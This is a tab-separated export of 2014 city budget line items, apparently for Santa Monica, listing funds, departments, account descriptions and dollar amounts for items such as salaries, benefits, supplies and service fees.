11310	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	10352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10352.0
11311	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2014	1694.0	0	0	0	0.0	27	0.0	0	0	0	0	0.0	1721.0
11312	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2014	15500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15500.0
11313	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2014	180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	180.0
11314	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2014	100318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100318.0
11315	B1	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	404940.0	AB2766 MBILE SRCE AIR POLL FEE	610.0	Intergovernmental	2014	-110000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-110000.0
11316	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		ACCRUED INVESTMENT INCOME	659.0	Investment Income	2014	37381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37381.0
11317	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2014	2306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2306.0
11318	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	8200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8200.0
11319	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	256.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	256.0
11320	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
11321	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	898.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	898.0
11322	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
11323	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	452.0
11324	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	1507.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1507.0
11325	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	22906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22906.0
11326	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
11327	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	499.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	499.0
11328	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		WELLNESS	810.0	Salaries and Wages	2014	481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	481.0
11329	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	660.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	660.0
11330	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	20604.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20604.0
11331	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	646.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	646.0
11332	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	6500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6500.0
11333	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2014	-46010.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46010.0
11334	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	2614.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2614.0
11335	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2014	180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	180.0
11336	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	540590.0	EMPLOYEE RECOGNITION & APPRECI	812.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
11337	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	806.0	 Supplies and Expenses	2014	261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	261.0
11338	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	7131.0	0	0	0	0.0	0	62.0	0	0	0	0	0.0	7193.0
11339	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2014	5132.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5132.0
11340	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
11341	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	128154.0	0	0	0	0.0	2946	0.0	0	0	0	0	0.0	131100.0
11342	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2014	626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	626.0
11343	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT		 Supplies and Expenses	2014	5778.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5778.0
11344	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-2570.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2570.0
11345	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-4012.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4012.0
11346	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-9609.0	0	0	0	-2599.0	-559	0.0	0	0	0	0	0.0	-12767.0
11347	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-11992.0	0	0	0	0.0	-1644	0.0	0	0	0	0	0.0	-13636.0
11348	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-6846.0	0	0	0	0.0	0	4167.0	0	0	0	0	0.0	-2679.0
11349	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-9222.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9222.0
11350	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-4352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4352.0
11351	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1654.0
11352	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-5971.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5971.0
11353	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-1504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1504.0
11354	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-4447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-4447.0
11355	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402510.0	COMM & TRIBUTE PROG	622.0	Other	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
11356	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555350.0	COMM & TRIBUTE PROGRAM	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
11357	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2014	-40659.0	0	0	0	0.0	0	0.0	40659	0	0	0	0.0	0.0
11358	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2014	-124489.0	0	0	0	0.0	0	0.0	124489	0	0	0	0.0	0.0
11359	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2014	-54654.0	0	0	0	0.0	0	0.0	54654	0	0	0	0.0	0.0
11360	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408200.0	SINGLE-USE CARRYOUT BAG BAN	612.0	Charges for Service	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
11361	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402810.0	URN SALES	650.0	Charges for Service	2014	-18450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18450.0
11362	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556140.0	SOLD VAULTS	808.0	 Supplies and Expenses	2014	38000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38000.0
11363	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
11364	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
11365	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	760.0
11366	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
11367	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	47300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47300.0
11368	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4100.0
11369	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2014	4100.0	0	0	0	0.0	194	0.0	0	0	0	0	0.0	4294.0
11370	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	61558.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61558.0
11371	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2014	10800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10800.0
11372	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		AMORT/ACCRET	659.0	Investment Income	2014	-55849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-55849.0
11373	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	83794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	83794.0
11374	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	5125.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125.0
11375	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	8491.0	0	0	0	0.0	176	0.0	0	0	0	0	0.0	8667.0
11376	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2014	432.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	432.0
11377	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	4523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4523.0
11378	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
11379	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
11380	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-11817.0	0	0	0	0.0	0	239.0	0	0	0	0	0.0	-11578.0
11381	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-7594.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7594.0
11382	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-10737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10737.0
11383	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3715.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3715.0
11384	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-1663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1663.0
11385	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	7630.0	0	0	0	0.0	89	-17.87	0	0	0	0	0.0	7701.13
11386	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	577850.0	CONTINGENCY	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
11387	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402100.0	AIRPORT - FUEL SALES	650.0	Charges for Service	2014	-295000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-295000.0
11388	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511490.0	OVERTIME		Salaries and Wages	2014	2028.0	0	0	0	0.0	0	5.0	0	0	0	0	0.0	2033.0
11389	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	12129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12129.0
11390	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		UNEMPLOYMENT		Salaries and Wages	2014	2547.0	0	0	0	0.0	32	0.0	0	0	0	0	0.0	2579.0
11391	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	1206.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1206.0
11392	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
11393	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2014	4969.0	0	0	0	0.0	0	4.0	0	0	0	0	0.0	4973.0
11394	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	330285.0	0	0	0	-30733.0	0	0.0	0	0	0	0	0.0	299552.0
11395	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10721.0	0	0	0	-838.0	146	35.0	0	0	0	0	0.0	10064.0
11396	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	13034.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13034.0
11397	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522630.0	OFFICE RENT	804.0	 Supplies and Expenses	2014	137000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	137000.0
11398	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	912.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	912.0
11399	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	9578.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9578.0
11400	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	17151.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17151.0
11401	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
11402	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	25013.0	0	0	0	0.0	310	0.0	0	0	0	0	0.0	25323.0
11403	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	13126.0	0	0	0	0.0	169	0.0	0	0	0	0	0.0	13295.0
11404	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2014	15142.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15142.0
11405	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2014	8405.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8405.0
11406	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-80000.0
11407	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	4203.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4203.0
11408	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
11409	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	91055.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91055.0
11410	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404580.0	BAYSAVER FEES	662.0	Other	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
11411	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533680.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4165.0
11412	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	5714.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5714.0
11413	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	2883.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2883.0
11414	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	891.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	891.0
11415	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1909.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1909.0
11416	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	4400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4400.0
11417	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
11418	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	776261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	776261.0
11419	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	1807.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1807.0
11420	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	7126.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7126.0
11421	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	1357.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1357.0
11422	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	2755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755.0
11423	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	6190.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6190.0
11424	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
11425	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5176.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5176.0
11426	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	7663.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7663.0
11427	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	482.0
11428	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
11429	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	27214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27214.0
11430	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571110.0	S+C HAP SUO2	816.0	 Supplies and Expenses	2014	64240.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64240.0
